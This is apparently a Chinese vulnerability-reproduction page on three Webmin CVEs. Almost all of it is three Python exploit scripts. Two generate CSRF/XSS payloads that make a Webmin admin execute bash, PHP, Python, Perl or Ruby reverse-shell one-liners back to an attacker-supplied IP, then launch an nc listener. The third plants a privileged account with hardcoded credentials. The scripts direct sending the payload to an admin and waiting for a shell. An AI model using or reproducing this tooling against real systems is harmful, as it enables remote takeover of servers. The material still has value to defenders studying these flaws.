# Webmin 多个高危漏洞 CVE-2021-31760~62 ## 漏洞描述 CVE-2021-31760:利用CSRF攻击,实现对Webmin的远程命令执行。 CVE-2021-31761:利用XSS攻击,实现对Webmin的远程命令执行。 CVE-2021-31762:利用CSRF攻击,通过Webmin的添加用户功能创建特权用户,然后通过特权用户权限反弹shell。 参考链接: - CVE-2021-31760:https://github.com/electronicbots/CVE-2021-31760 - CVE-2021-31761:https://github.com/electronicbots/CVE-2021-31761 - CVE-2021-31762:https://github.com/electronicbots/CVE-2021-31762 ## 漏洞影响 ``` Webmin <= 1.973 ``` ## 网络测绘 ``` app="Webmin" ``` ## 漏洞复现 CVE-2021-31760 poc: ```python import time, subprocess,random print('''\033[1;37m __ __ _ ____ _ _________ _ _ _ | \/ | | | |___ \| | |___ / _ \| | | | | | | \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ | |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / | | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < |_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ __/ | |___/ \033[1;m''') for i in range(101): print( "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( i), "\033[1;36m%\033[1;m", end="") time.sleep(0.02) print("\n\n") target = input( "\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") if target.endswith('/'): target = target + 'proc/run.cgi' else: target = target + '/proc/run.cgi' ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m") port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m") ReverseShell = input \ ('''\033[1;37m \n 1- Bash Reverse Shell \n 2- PHP Reverse Shell \n 3- Python Reverse Shell \n 4- Perl Reverse Shell \n 5- Ruby Reverse Shell \n \033[1;m \033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''') file_name = random.randrange(1000) if ReverseShell == '1': ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+'' elif ReverseShell == '2': ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' ''' elif ReverseShell == '3': ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ''' elif ReverseShell == '4': ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ''' elif ReverseShell == '5': ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ''' else: print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n") def CSRF_Generator(): with open('CSRF_POC.html', 'w') as POC: POC.write \ ('''
''') POC.close() print( "\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and wait for your Reverse Shell ^_^ \n \033[1;m") def Netcat_listener(): print() subprocess.run(["nc", "-nlvp "+port+""]) def main(): CSRF_Generator() Netcat_listener() if __name__ == '__main__': main() ``` CVE-2021-31761 poc: ```python import time, subprocess,random,urllib.parse print('''\033[1;37m __ __ _ ____ _ _________ _ _ _ | \/ | | | |___ \| | |___ / _ \| | | | | | | \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ | |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / | | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < |_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ __/ | |___/ \033[1;m''') for i in range(101): print( "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( i), "\033[1;36m%\033[1;m", end="") time.sleep(0.02) print("\n\n") target = input( "\033[1;36m \n Please input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") if target.endswith('/'): target = target + 'tunnel/link.cgi/' else: target = target + '/tunnel/link.cgi/' ip = input("\033[1;36m \n Please input ur IP to set up the Reverse Shell e.g. ( 10.10.10.10 ) > \033[1;m") port = input("\033[1;36m \n Please input a Port to set up the Reverse Shell e.g. ( 1337 ) > \033[1;m") ReverseShell = input \ ('''\033[1;37m \n 1- Bash Reverse Shell \n 2- PHP Reverse Shell \n 3- Python Reverse Shell \n 4- Perl Reverse Shell \n 5- Ruby Reverse Shell \n \033[1;m \033[1;36mPlease insert the number Reverse Shell's type u want e.g. ( 1 ) > \033[1;m''') file_name = random.randrange(1000) if ReverseShell == '1': ReverseShell = 'mkfifo /tmp/'+str(file_name)+'; nc '+ip+' '+port+' 0/tmp/'+str(file_name)+' 2>&1; rm /tmp/'+str(file_name)+'' elif ReverseShell == '2': ReverseShell = ''' php -r '$sock=fsockopen("''' + ip + '''",''' + port + ''');exec("/bin/sh -i <&3 >&3 2>&3");' ''' elif ReverseShell == '3': ReverseShell = ''' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("''' + ip + '''",''' + port + '''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ''' elif ReverseShell == '4': ReverseShell = ''' perl -e 'use Socket;$i="''' + ip + '''";$p=''' + port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ''' elif ReverseShell == '5': ReverseShell = ''' ruby -rsocket -e'f=TCPSocket.open("''' + ip + '''",''' + port + ''').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ''' else: print("\033[1;36m \n Please Re-Check ur input :( \033[1;m \n") def CSRF_Generator(): Payload = urllib.parse.quote('''
''') print("\033[1;36m\nHere's ur link , send it to a Webmin's Admin and wait for ur Reverse Shell ^_^ \n \n\033[1;m") print(target+Payload) def Netcat_listener(): print() subprocess.run(["nc", "-nlvp "+port+""]) def main(): CSRF_Generator() Netcat_listener() if __name__ == '__main__': main() ``` CVE-2021-31762 poc: ```python import time print('''\033[1;37m __ __ _ ____ _ _________ _ _ _ | \/ | | | |___ \| | |___ / _ \| | | | | | | \ / | ___ ___| |__ __) | | / / | | | | __| |_ _ ___| | __ | |\/| |/ _ \/ __| '_ \ |__ <| | / /| | | | |/ _` | | | |/ __| |/ / | | | | __/\__ \ | | |___) | | _ _ / /_| |_| | | (_| | |_| | (__| < |_| |_|\___||___/_| |_|____/|_| (_|_) /_____\___/|_|\__,_|\__, |\___|_|\_/ __/ | |___/ \033[1;m''') for i in range(101): print( "\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m ) & \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m ( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format( i), "\033[1;36m%\033[1;m", end="") time.sleep(0.02) print("\n\n") target = input( "\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m") if target.endswith('/'): target = target + 'acl/save_user.cgi' else: target = target + '/acl/save_user.cgi' def CSRF_Generator(): with open('CSRF_POC.html', 'w') as POC: POC.write \ ('''
''') POC.close() print( "\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m") def main(): CSRF_Generator() if __name__ == '__main__': main() ```